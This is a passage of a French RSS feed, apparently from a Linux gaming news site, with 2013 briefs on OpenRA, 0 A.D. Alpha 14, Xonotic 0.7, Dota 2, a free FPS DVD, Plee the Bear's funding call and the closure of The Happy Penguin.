+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Cette version comprend &#233;galement le support exp&#233;rimental de Tiberian Sun et Red Alert 2. Le travail a d&#233;but&#233; sur un mod Tiberian Sun, mais rien ne sera vraiment jouable avant plusieurs mois. Entre temps, les auteurs de mods peuvent tester le support des unit&#233;s et b&#226;timents en voxel et shp(ts).
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;D2K utilise d&#233;sormais les effets d'explosion semi-transparents.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;L'interface a &#233;t&#233; am&#233;lior&#233;e, ainsi que certaines options du jeu.
+&lt;br /&gt;
+&lt;br /&gt;
+Il est maintenant possible d'ajouter des unit&#233;s en &quot;voxel&quot; dans OpenRA.&lt;/p&gt; &lt;p&gt;Le site web a &#233;galement &#233;t&#233; modifi&#233;. &lt;a href=&quot;http://openra.res0l.net/&quot; class='spip_url spip_out' rel='nofollow external'&gt;http://openra.res0l.net/&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>0 a.d. Alpha 14 Naukratis</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1333</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1333</guid>
+ <dc:date>2013-09-06T04:38:36Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Strat&#233;gie</dc:subject>
+
+ <description>Plus besoin de pr&#233;senter le jeux de strat&#233;gie open source qu'est 0 a.d. Tr&#232;s bon projet de la part de Wildfire Games, ceux ci nous gates avec une mise &#224; jour sortit le 4 septembre et nomm&#233; Alpha 14 Naukratis. En plus de nouveaut&#233;s sur le jeux que je citerais plus tard, il est important de souligner le (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot10" rel="tag"&gt;Strat&#233;gie&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L140xH90/breveon1333-93fca.png&quot; width='140' height='90' style='height:90px;width:140px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Plus besoin de pr&#233;senter le jeux de strat&#233;gie open source qu'est 0 a.d. Tr&#232;s bon projet de la part de Wildfire Games, ceux ci nous gates avec une mise &#224; jour sortit le 4 septembre et nomm&#233; Alpha 14 Naukratis.
+En plus de nouveaut&#233;s sur le jeux que je citerais plus tard, il est important de souligner le fait que 0 a.d. a lanc&#233; un crowdfunding pour son jeux. Celui-ci &#233;tant d'une valeur de 160.000 euro &#224; r&#233;unir en 47 jours au total. Bien sur Wildfire pr&#233;cise plusieurs chose concernant son crowfunding. Son jeux restera gratuit et open source ce qui est une tr&#232;s bonne nouvelle et deuxi&#232;mement les don seront non profitable &#224; l'&#233;diteur (Tout l'argent donn&#233; sera utilis&#233; pour le jeux et pas autre chose).
+&lt;br /&gt;
+&lt;br /&gt;
+Passons maintenant aux nouveaut&#233;s qui vous int&#233;resses, celle du jeux en lui m&#234;me.
+Concernant le gameplay on peut not&#233; diverse ajouts et am&#233;liorations.
+L'arriv&#233; de nouveaux b&#226;timents, les forges&#178;.
+Modification concernant les fermes, celle-ci produisant maintenant de la nouriture &#224; l'infini. Vous n'aurez donc plus besoin de reconstruire celles-ci mais en contre-parti celles-ci produiront moins de nourriture par rapport &#224; avant. La limite de r&#233;colteur passant elle &#224; 5 sur chaque ferme.
+Vos unit&#233;s peuvent maintenant entrer en garnisons dans plus de b&#226;timents.
+Vous gagnez &#224; commercer avec vos alli&#233;s plutot qu'avec vous m&#234;me (le bonus &#233;tant de 25%).
+Les unit&#233;s &#224; distance tirent plus loin si elles sont en hauteur.
+Il n'y a plus besoin d'une distance minimum pour que vos unit&#233;s &#224; distance se mettent &#224; tirer.
+&lt;br /&gt;
+&lt;br /&gt;
+Concernant les am&#233;liorations graphique, sonore et interface.
+L'ajout d'un bouton permanent permettant de situer votre h&#233;ro peut importe ou il est sur la map.
+En mode solo vous pouvez changez la vitesse du jeux.
+L'ajout de raccourcis concernant les vues de cam&#233;ras (permettre de revenir &#224; une vue sauvegard&#233; en appuyant sur un raccourci d&#233;fini je crois).
+L'am&#233;lioration du Gui permettant une interaction plus rapide.
+Quelque am&#233;liorations sonore, comme le fait que maintenant plusieurs se joue pendant votre partie, ainsi que l'ajout de sons pour votre interface.
+Terrain anchoring : Units now move more realistically on hills. (pas compris d&#233;sol&#233;)
+Vous pouvez maintenant rajouter une description pour vos sauvegarde en jeux ainsi qu'&#233;craser et supprimer vos sauvegarde en jeux.
+Quelques maps ont &#233;t&#233; am&#233;lior&#233; afin d'avoir un meilleur rendu visuel ainsi que d'&#234;tre plus jouable.
+Le rendu de l'eau est maintenant am&#233;lior&#233; et plus rapide.
+Le rendu de vos bateaux quand ceux-ci coule est am&#233;lior&#233;.
+&lt;br /&gt;
+&lt;br /&gt;
+Et pour finir la r&#233;solutions de quelque bug, et diverse optimisation (je vous invite &#224; voir le site officiel pour cela).
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;*&lt;a href=&quot;http://www.indiegogo.com/projects/support-0-a-d-an-open-source-strategy-game/&quot; class='spip_url spip_out' rel='nofollow external'&gt;http://www.indiegogo.com/projects/s...&lt;/a&gt;
+&lt;br /&gt;
+&#178;&lt;a href=&quot;http://wildfiregames.com/0ad/images/news_images/alpha-14-blacksmiths-small.jpg&quot; class='spip_url spip_out' rel='nofollow external'&gt;http://wildfiregames.com/0ad/images...&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Bient&#244;t 3000 r&#233;f&#233;rences sur &#171; Le Bottin des Jeux Linux &#187; qui s'offre un nouveau look.</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1332</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1332</guid>
+ <dc:date>2013-08-29T07:47:20Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+
+ <description>Depuis le 16 ao&#251;t 2013, le site Le Bottin des Jeux Linux adopte un nouvel habillage. Le site &#233;volue vers un rendu plus clair : pour les &#233;crans classiques mais aussi consultable sur de petits &#233;crans, de type tablettes et t&#233;l&#233;phones. &#171; Le Bottin des Jeux Linux &#187; est aussi un annuaire &#224; t&#233;l&#233;charger, il (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique12" rel="directory"&gt;Liens&lt;/a&gt;
+
+
+ </description>
+
+
+ <content:encoded>&lt;div class='rss_texte'&gt;&lt;p&gt;Depuis le 16 ao&#251;t 2013, le site &lt;a href=&quot;http://www.lebottindesjeuxlinux.tuxfamily.org/&quot; class='spip_out' rel='external'&gt;Le Bottin des Jeux Linux&lt;/a&gt; adopte un nouvel habillage. Le site &#233;volue vers un rendu plus clair : pour les &#233;crans classiques mais aussi consultable sur de petits &#233;crans, de type tablettes et t&#233;l&#233;phones.
+&lt;br /&gt;
+&lt;br /&gt;
+&#171; &lt;a href=&quot;http://www.lebottindesjeuxlinux.tuxfamily.org/&quot; class='spip_out' rel='external'&gt;Le Bottin des Jeux Linux&lt;/a&gt; &#187; est aussi un annuaire &#224; t&#233;l&#233;charger, il vous pr&#233;sente pr&#232;s de 3000 jeux Linux, libres, non-libres et commerciaux ou non (sauf ceux qui n'ont pas de lien p&#233;renne). Des &#233;mulateurs, des moteurs de jeux, ainsi que des jeux Windows jouables via &lt;a href=&quot;http://www.winehq.org/&quot; class='spip_out' rel='external'&gt;Wine&lt;/a&gt;, sont &#233;galement r&#233;f&#233;renc&#233;s.
+&lt;br /&gt;
+&lt;br /&gt;
+Cet annuaire &#8211; dont la mise &#224; jour est bimensuelle &#8211; vous est livr&#233; sous la forme d'une archive initiale de 340 Mo o&#249; vous trouverez &#171; Le Bottin des Jeux Linux &#187; au format &lt;a href=&quot;http://tellico-project.org/&quot; class='spip_out' rel='external'&gt;Tellico&lt;/a&gt;. Tellico est v&#233;loce, agr&#233;able et dispose de fonctionnalit&#233;s avanc&#233;es de tris et de recherches. De plus, ce format a prouv&#233; son efficacit&#233; pour la rapidit&#233; de cr&#233;ation des fiches et son ergonomie. Enfin, il existe des passerelles pour la cr&#233;ation de pages HTML. C'est pourquoi &#171; Le Bottin des Jeux Linux &#187; l'a choisi pour sa distribution. Tellico facilite ainsi recherche et consultation de la base de donn&#233;e du Bottin.
+&lt;br /&gt;
+&lt;br /&gt;
+&#171; Le Bottin des Jeux Linux &#187; constitue une importante ressource d'informations relatives aux jeux sous Linux en s'appuyant non seulement sur l'exp&#233;rience acquise au fil de l'eau mais aussi sur l'expertise de sites reconnus (plus de 44 000 liens vers les points clefs des jeux et des ressources externes telles que des trailers, des revues &amp; interviews d'autres sites, des pages Wikip&#233;dia, &#8230;). Tenu depuis 2007 par Serge Le Tyrant et son fils Louis, il repr&#233;sente actuellement 6 ans de travail. &lt;br /&gt;
+&lt;br /&gt;
+Initialement sous licence GFDL, depuis le 24 ao&#251;t 2013, le Bottin est pass&#233; sous licence CC BY 2.0 FR (plus clairement libre). Le site est donc libre et ouvert aux am&#233;liorations. Tellico n'est pas en reste du fait de sa licence (GPL).
+&lt;br /&gt;
+&lt;br /&gt;
+Comme de nombreux autres projets, ce site manque de contributeurs, alors n'h&#233;sitez pas &#224; participer : en r&#233;alisant une fiche de jeu, en envoyant un petit mot ou des encouragements par quelques dons. Toujours pour s'am&#233;liorer, le site entreprend actuellement de s'internationaliser en traduisant certaines pages en anglais.&lt;/p&gt; &lt;p&gt;Alors, il n'y a pas de jeux sous Linux ?
+&lt;br /&gt;
+&lt;br /&gt;
+(d'apr&#232;s &lt;a href=&quot;http://linuxfr.org/news/le-bottin-des-jeux-linux-bientot-3000-references-et-un-nouveau-look&quot; class='spip_out' rel='external'&gt;l'article d'origine sur Linuxfr&lt;/a&gt;)&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Dota 2</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1331</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1331</guid>
+ <dc:date>2013-08-08T09:43:47Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jerhum</dc:subject>
+
+ <description>Dota a tout d'abord &#233;t&#233; une modification faite par des joueurs de Warcraft 3 et a fini par &#234;tre un des jeux les plus jou&#233;s au monde. Dota 2 est le fruit du recrutement des d&#233;veloppeurs de la communaut&#233; qui a construit cette modification et de leur chance de d&#233;velopper un jeu complet d'apr&#232;s leurs (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot36" rel="tag"&gt;Jerhum&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH85/breveon1331-aed74.jpg&quot; width='150' height='85' style='height:85px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Dota a tout d'abord &#233;t&#233; une modification faite par des joueurs de Warcraft 3 et a fini par &#234;tre un des jeux les plus jou&#233;s au monde. &lt;br /&gt;
+Dota 2 est le fruit du recrutement des d&#233;veloppeurs de la communaut&#233; qui a construit cette modification et de leur chance de d&#233;velopper un jeu complet d'apr&#232;s leurs id&#233;es avec l'aide de l'&#233;quipe de d&#233;veloppeurs et d'artistes professionnels de Valve.
+&lt;br /&gt;
+&lt;br /&gt;
+Dota 2 est disponible gratuitement sur la plateforme Steam&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Un DVD de jeux FPS libres pour Windows et Linux</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1330</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1330</guid>
+ <dc:date>2013-08-01T10:48:22Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+
+ <description>Cher(e) joueur(se), cher gamer, Tu aimes les jeux en r&#233;seau n'est-ce pas ? Tu aimes aussi les FPS, jeux de tir en vue subjective ? Tu voudrais &#233;galement ne pas perdre tes amis qui sont sous Windows ou Linux ? Et tu penses que tes souhaits ne sont pas r&#233;alisables ? Tu en as r&#234;v&#233;, l'association (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique9" rel="directory"&gt;Mat&#233;riel / Logiciel&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH60/breveon1330-e773a.png&quot; width='150' height='60' style='height:60px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Cher(e) joueur(se), cher gamer,
+&lt;br /&gt;
+&lt;br /&gt;
+Tu aimes les jeux en r&#233;seau n'est-ce pas ? Tu aimes aussi les FPS, jeux de tir en vue subjective ? Tu voudrais &#233;galement ne pas perdre tes amis qui sont sous Windows ou Linux ? Et tu penses que tes souhaits ne sont pas r&#233;alisables ? Tu en as r&#234;v&#233;, l'association &lt;a href=&quot;http://asso.lanpower.free.fr/&quot; class='spip_out' rel='external'&gt;LanPower&lt;/a&gt; l'a fait. Pour toi, voici donc un &lt;a href=&quot;http://asso.lanpower.free.fr/index.php?option=com_content&amp;view=article&amp;id=167&quot; class='spip_out' rel='external'&gt;DVD de jeux FPS libres&lt;/a&gt; et compatible Windows et Linux (gr&#226;ce &#224; Wine).
+C'est du lourd, du vrai, du pur FPS bien bourrin pour fragguer entre amis. Et c'est libre, mais &#231;a tu ne sais pas vraiment ce que &#231;a veut dire ; peu importe, on t'expliquera.
+&lt;br /&gt;
+&lt;br /&gt;
+Voici le contenu de &lt;a href=&quot;http://asso.lanpower.free.fr/index.php?option=com_content&amp;view=article&amp;id=167&quot; class='spip_out' rel='external'&gt;ce DVD&lt;/a&gt; &#224; partager sans compter :
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; &lt;a href=&quot;http://jeuxlibres.net/showgame/freedoom.html&quot; class='spip_out' rel='external'&gt;Freedoom&lt;/a&gt;, la version libre de l'anc&#234;tre Doom 1 et 2 ;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://openarena.tuxfamily.org/wiki/index.php&quot; class='spip_out' rel='external'&gt;Open Arena&lt;/a&gt;, pour revivre le non moins connu Quake 3 Arena ;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.redeclipse.net/&quot; class='spip_out' rel='external'&gt;Red Eclipse&lt;/a&gt;, issu du travail sur Cube et Cube 2 (Sauerbraten) ;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.alientrap.org/games/nexuiz&quot; class='spip_out' rel='external'&gt;Nexuiz Classique&lt;/a&gt; et son fils &lt;a href=&quot;http://www.xonotic.org/&quot; class='spip_out' rel='external'&gt;Xonotic&lt;/a&gt; bas&#233;s sur le moteur Darkplace (un d&#233;riv&#233; du moteur de Quake 1) compl&#232;tent la collection.
+&lt;br /&gt;
+&lt;br /&gt;
+Joueur acharn&#233;, tu ne diras plus &#171; il n'y a pas de jeux libres assez bien pour moi &#187;, ni de FPS pour Linux. Que &lt;a href=&quot;http://asso.lanpower.free.fr/index.php?option=com_content&amp;view=article&amp;id=167&quot; class='spip_out' rel='external'&gt;ce DVD&lt;/a&gt; devienne ta bible, te serve d'oreiller et ne te quitte jamais !
+&lt;br /&gt;
+&lt;br /&gt;
+Tu n'en n'as pas assez et tu en veux d'autres (pas seulement des FPS j'esp&#232;re), c'est &lt;a href=&quot;http://asso.lanpower.free.fr/&quot; class='spip_out' rel='external'&gt;ici&lt;/a&gt; et sur &lt;a href=&quot;http://www.enventelibre.org/catalog/par-type-de-produit/cddvd/jeux&quot; class='spip_out' rel='external'&gt;En Vente Libre&lt;/a&gt; rubrique jeux.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Appel aux financements pour Plee the Bear</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1329</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1329</guid>
+ <dc:date>2013-07-10T19:51:26Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de plateau / plateforme</dc:subject>
+
+ <description>L'&#233;quipe de Plee the Bear lance un appel aux financements pour reprendre le d&#233;veloppement de ce super jeu de plate-forme. Vous y contr&#244;lez un ours en col&#232;re parti &#224; la recherche de son fils pour le gifler, car il a mang&#233; tout le miel des r&#233;serves. Pas de veine, il a &#233;t&#233; kidnapp&#233; par dieu, du coup il va (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique12" rel="directory"&gt;Liens&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot16" rel="tag"&gt;Jeux de plateau / plateforme&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L126xH150/breveon1329-82b40.png&quot; width='126' height='150' style='height:150px;width:126px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;L'&#233;quipe de &lt;a href=&quot;http://www.stuff-o-matic.com/ptb/&quot; class='spip_out' rel='external'&gt;Plee the Bear&lt;/a&gt; lance un appel aux financements pour reprendre le d&#233;veloppement de ce super jeu de plate-forme. Vous y contr&#244;lez un ours en col&#232;re parti &#224; la recherche de son fils pour le gifler, car il a mang&#233; tout le miel des r&#233;serves. Pas de veine, il a &#233;t&#233; kidnapp&#233; par dieu, du coup il va falloir le sauver&#8230;&lt;/p&gt; &lt;p&gt;Apr&#232;s avoir r&#233;dig&#233; la &lt;a href=&quot;http://www.stuff-o-matic.com/ptb/files/game-bible.pdf&quot; class='spip_out' rel='external'&gt;bible du jeu&lt;/a&gt;, &#233;crit &lt;a href=&quot;http://www.stuff-o-matic.com/ptb/files/script.pdf&quot; class='spip_out' rel='external'&gt;un sc&#233;nario&lt;/a&gt; et estim&#233; &lt;a href=&quot;http://www.stuff-o-matic.com/ptb/files/time-cost.ods&quot; class='spip_out' rel='external'&gt;la charge de travail&lt;/a&gt;, l'&#233;quipe a propos&#233; le projet sur OpenFunding, plate-forme de financement d&#233;di&#233;e aux logiciels libres.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://funding.openinitiative.com/funding/1702/&quot; class='spip_out' rel='external'&gt;Le premier appel&lt;/a&gt; concerne le rafra&#238;chissement de la version existante du jeu afin de coller &#224; la bible et la rendre pour agr&#233;able. L'&#233;quipe entamera ensuite la production des niveaux restants.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Sortie de Xonotic 0.7</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1328</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1328</guid>
+ <dc:date>2013-06-13T18:50:57Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+
+ <description>Il y a un peu moins d'une semaine est sorti la release 0.7 de Xonotic, le fork libre de Nexuiz. Cette version est consid&#233;r&#233;e par les d&#233;veloppeurs comme un immense bon en avant pour le projet. Ils ont chang&#233;s la structure de l'&#233;quipe pour faire de la place &#224; des nouveaux talents, et le r&#233;sultat est (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH85/breveon1328-5919f.jpg&quot; width='150' height='85' style='height:85px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Il y a un peu moins d'une semaine est sorti la release 0.7 de Xonotic, le fork libre de Nexuiz. Cette version est consid&#233;r&#233;e par les d&#233;veloppeurs comme un immense bon en avant pour le projet.
+&lt;br /&gt;
+&lt;br /&gt;
+Ils ont chang&#233;s la structure de l'&#233;quipe pour faire de la place &#224; des nouveaux talents, et le r&#233;sultat est une meilleure plateforme avec laquelle travailler. &lt;br /&gt;
+&lt;br /&gt;
+Ils ont travaill&#233; dur depuis la version pr&#233;c&#233;dente pour faire &#233;voluer le jeu vers quelque chose que tout le monde puisse appr&#233;cier. Des &#233;volutions sont visibles pour les joueurs occasionnels comme pour les joueurs plus comp&#233;titifs. &lt;br /&gt;
+&lt;br /&gt;
+L'&#233;quipe se dit tr&#232;s fi&#232;re du travail accompli en collaboration avec leur communaut&#233; active et diversifi&#233;e et esp&#232;re que vous allez l'appr&#233;cier vous aussi !&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>OpenRA - release 20130514 </title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1327</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1327</guid>
+ <dc:date>2013-05-13T18:59:31Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Strat&#233;gie</dc:subject>
+
+ <description>Si vous aimez les jeux de strat&#233;gie (RTS) et que l'envie vous prend de rejouer &#224; ces anciens titres phares qui ont marqu&#233; votre enfance, OpenRA est fait pour vous. OpenRA est un logiciel qui vous permet de jouer en multijoueur &#224; d'anciens jeux cr&#233;&#233;s par feu le studio Westwood comme Red Alert, Command (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique21" rel="directory"&gt;Previews&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot10" rel="tag"&gt;Strat&#233;gie&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L128xH128/breveon1327-86029.png&quot; width='128' height='128' style='height:128px;width:128px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Si vous aimez les jeux de strat&#233;gie (RTS) et que l'envie vous prend de rejouer &#224; ces anciens titres phares qui ont marqu&#233; votre enfance, OpenRA est fait pour vous.
+&lt;br /&gt;
+&lt;br /&gt;
+OpenRA est un logiciel qui vous permet de jouer en multijoueur &#224; d'anciens jeux cr&#233;&#233;s par feu le studio Westwood comme Red Alert, Command and Conquer et Dune2000.
+&lt;br /&gt;
+&lt;br /&gt;
+En outre, il n'est pas n&#233;cessaire de disposer des CDs originaux car un bouton permet de r&#233;cup&#233;rer le contenu de ces jeux, directement depuis OpenRA. En effet EA a publi&#233; ces jeux sous forme de freeware il y a quelques ann&#233;es de &#231;a.
+&lt;br /&gt;
+&lt;br /&gt;
+OpenRA est en constante &#233;volution et si certains d&#233;veloppeurs travaillent sur les bugs, d'autres s'occupent de la balance des mods et jeux.&lt;/p&gt; &lt;p&gt;Disponible sur Windows, Mac et surtout sous Linux, OpenRA vous promet de nombreuses heures de fun.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Ubuntu Party et Jeuxlinux</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1326</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1326</guid>
+ <dc:date>2013-05-13T13:46:48Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Kazuky Akayashi</dc:subject>
+
+ <description>Les 1er et 2 juin 2013 arrivent et la Ubuntu Party de Paris aussi, Jeuxlinux ne sera pas pr&#233;sent &#224; cette &#233;dition &#224; proprement parl&#233;, car il n'y aura malheureusement pas de stand Jeuxlinux pour cette &#233;dition. En revanche, la conf&#233;rence de S&#233;bastien Bernery, sur le jeu vid&#233;o sous GNU/linux, est (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique21" rel="directory"&gt;Previews&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot50" rel="tag"&gt;Kazuky Akayashi&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L140xH90/breveon1326-c6242.png&quot; width='140' height='90' style='height:90px;width:140px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Les 1er et 2 juin 2013 arrivent et la &lt;a href=&quot;http://ubuntu-party.org/paris-1er-juin-2013/&quot; class='spip_out' rel='external'&gt;Ubuntu Party&lt;/a&gt; de Paris aussi, Jeuxlinux ne sera pas pr&#233;sent &#224; cette &#233;dition &#224; proprement parl&#233;, car il n'y aura malheureusement pas de stand Jeuxlinux pour cette &#233;dition.
+&lt;br /&gt;
+&lt;br /&gt;
+En revanche, la conf&#233;rence de S&#233;bastien Bernery, sur le jeu vid&#233;o sous GNU/linux, est maintenue et une autre conf&#233;rence est pr&#233;vue avec des d&#233;monstrations et pr&#233;sentations de jeux vid&#233;o par des membres de Jeuxlinux.fr.
+&lt;br /&gt;
+&lt;br /&gt;
+Pour les conf&#233;rences des &#233;ditions pr&#233;c&#233;dentes &lt;a href=&quot;http://www.jeuxlinux.fr/a322-Conferences_audio_et_video.html#up1111&quot; class='spip_out'&gt;par ici&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>The Linux Game Tome s'est &#233;teint </title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1325</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1325</guid>
+ <dc:date>2013-04-22T06:52:40Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Action / aventure</dc:subject>
+
+ <description>La disparition in&#233;luctable de The Happy Penguin le 13 avril 2013 nous a tous attrist&#233;. Ouvert en 1995 par Tessa Lau (source Wikipedia en), ce site f&#251;t l'une des premi&#232;res r&#233;f&#233;rences des jeux disponibles sous Linux et f&#251;t largement utilis&#233; notamment par Le bottin des jeux Linux. Apr&#232;s 18 ans de service, (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique12" rel="directory"&gt;Liens&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot15" rel="tag"&gt;Action / aventure&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH75/breveon1325-8a422.jpg&quot; width='150' height='75' style='height:75px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;La disparition in&#233;luctable de &lt;a href=&quot;http://www.happypenguin.org/&quot; class='spip_out' rel='external'&gt;The Happy Penguin&lt;/a&gt; le 13 avril 2013 nous a tous attrist&#233;. Ouvert en 1995 par Tessa Lau (source Wikipedia en), ce site f&#251;t l'une des premi&#232;res r&#233;f&#233;rences des jeux disponibles sous Linux et f&#251;t largement utilis&#233; notamment par &lt;a href=&quot;http://www.lebottindesjeuxlinux.tuxfamily.org/&quot; class='spip_out' rel='external'&gt;Le bottin des jeux Linux&lt;/a&gt;. Apr&#232;s 18 ans de service, ce site important a quitt&#233; le paysage libriste (m&#234;me s'il ne recense pas seulement les jeux libres).
+&lt;br /&gt;
+&lt;br /&gt;
+Apr&#232;s &lt;a href=&quot;http://linuxfr.org/news/ikarios-nest-plus&quot; class='spip_out' rel='external'&gt;la disparition d'Ikarios en 2010&lt;/a&gt;, cette perte montre la fragilit&#233; du b&#233;n&#233;volat dans le monde du libre. N'oublions pas que &lt;a href=&quot;http://jeuxlibres.net/main.html&quot; class='spip_out' rel='external'&gt;jeuxlibres.net&lt;/a&gt; f&#251;t menac&#233; un temps &#233;galement et que &lt;a href=&quot;http://www.lebottindesjeuxlinux.tuxfamily.org/&quot; class='spip_out' rel='external'&gt;Le Bottin des jeux Linux&lt;/a&gt; reposant principalement sur une seule personne, est aussi tr&#232;s fragile. Si vous avez du temps libre disponible, n'oubliez pas ses sites.
